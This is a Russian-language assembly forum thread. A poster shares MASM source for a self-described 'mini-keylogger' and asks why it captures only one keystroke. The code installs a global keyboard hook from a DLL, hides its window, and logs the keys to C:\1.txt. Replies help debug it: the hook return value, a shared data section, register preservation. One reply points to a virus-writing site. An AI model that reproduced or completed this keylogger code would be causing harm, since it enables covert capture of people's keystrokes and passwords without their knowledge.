Пишу мини-кейлоггер, ставлю глобальные хуки. есть окно, которое принимает из длл события хука вот собственно процедура окна DlgProc proc hWindowWORD, uMsgWORD, wParamWORD, lParamWORD .if uMsg == WM_INITDIALOG invoke ShowWindow, hWindow, NULL invoke LoadLibrary, offset LibName mov esi, eax invoke GetProcAddress, eax, offset InstallHook push hWindow call eax .elseif uMsg == WM_MOUSEHOOK invoke CreateFileA, offset FilePath, GENERIC_WRITE or GENERIC_READ, FILE_SHARE_WRITE or FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL mov esi, eax invoke GetFileSize, eax, NULL invoke SetFilePointer, esi, eax, NULL, NULL push 0 lea ebx, dword ptr ds:[esp] invoke WriteFile, esi, addr wParam, 1, ebx, NULL add esp, 4 invoke CloseHandle, esi .endif DlgProc endp вот процедура длл UninstallHook proc invoke UnhookWindowsHookEx,hHook ret UninstallHook endp FilePath db "C:\1.txt", 0 MouseProc proc nCodeWORD,wParamWORD,lParamWORD local ScanCode:byte local Reserv:dword invoke CallNextHookEx,hHook,nCode,wParam,lParam invoke PostMessage,hWnd,WM_MOUSEHOOK,wParam,0 xor eax, eax ret MouseProc endp InstallHook proc hWin:dword push hWin pop hWnd invoke SetWindowsHookEx, WH_KEYBOARD, addr MouseProc, hInst, NULL mov hHook,eax ret Проблема заключается в следущем: код работает, но передаёт сообщение окну почему-то только единажды, последущие нажатия почему-то отказывается. Всю голову сломал. Что нетак ?
Code (Text): MouseProc proc nCode:DWORD,wParam:DWORD,lParam:DWORD local ScanCode:byte local Reserv:dword invoke CallNextHookEx,hHook,nCode,wParam,lParam invoke PostMessage,hWnd,WM_MOUSEHOOK,wParam,0 xor eax, eax; <------------------- ret MouseProc endp насколько помню надо возращать не 0, а значение, полученное в результате вызова CallNextHookEx
Подставил после CallNextHookEx mov ESI, EAX и вместо xor eax, eax mov eax, esi но всё равно такая же байда
На эту тему ОЧЕНЬ много статей! Здесь, по поему, проблема с hWnd, необходима разделяемая секция данных.
компилил так @echo off del Hook.obj del Hook.dll \masm32\bin\ml /c /coff Hook.asm \masm32\bin\Link /SECTION:.bss,S /SUBSYSTEM:WINDOWS /DLL /DEF:Hook.def Hook.obj dir tstdll.* pause
DlgProc, во-первых, должна возвращать нужное значение; во-вторых, если уж она использует ebx, она должна его сохранять/восстанавливать. upd: разумеется, не только ebx, но и esi тоже
Во-первых, я написал работает, а значит наверное она это делает Во-вторых, я не пойму каким образом это может отразиться на работе длл? Например я не вижу что бы в длл использовались эти регисты А так как тот метод подсказанный мне фримэном не работает, так наверное и дело-то вовсе не в этом и следует рассматривать первоначальный метод
скажу честно лень разбираться в коде вот готовые решения по твоему вопросу http://vx.netlux.org/tpoc/Articles/Hooks1.htm http://vx.netlux.org/tpoc/Articles/Hooks2.htm https://www.wasm.ru/article.php?article=1001024
А при чём здесь dll? Оконная процедура вроде бы в главном потоке? А системный код, вызывающий оконную процедуру, очень даже использует эти регистры. Ну например: вызывается PostMessage первый раз, она посылает сообщение окну, сообщение доходит до окна, но оконная процедура нагло разрушает ebx и esi. Системный код (user32), не ожидающий этого, фигеет и дальнейшие сообщения блокирует. Я не утверждаю, что всё происходит именно так, но в качестве одной из версий imho годится.
пожалуй это важно вы должны быть уверенны в том, что делает, а чего - нет. примерно такой код Code (Text): DlgProc proc hWindow:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD .if uMsg == WM_INITDIALOG blablabla .endif DlgProc endp blablabla invoke ExitProcess,0 может привести к завершению процесса, другое дело Code (Text): DlgProc proc hWindow:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD .if uMsg == WM_INITDIALOG blablabla .endif mov eax, чо_надо ret<--------- DlgProc endp blablabla invoke ExitProcess,0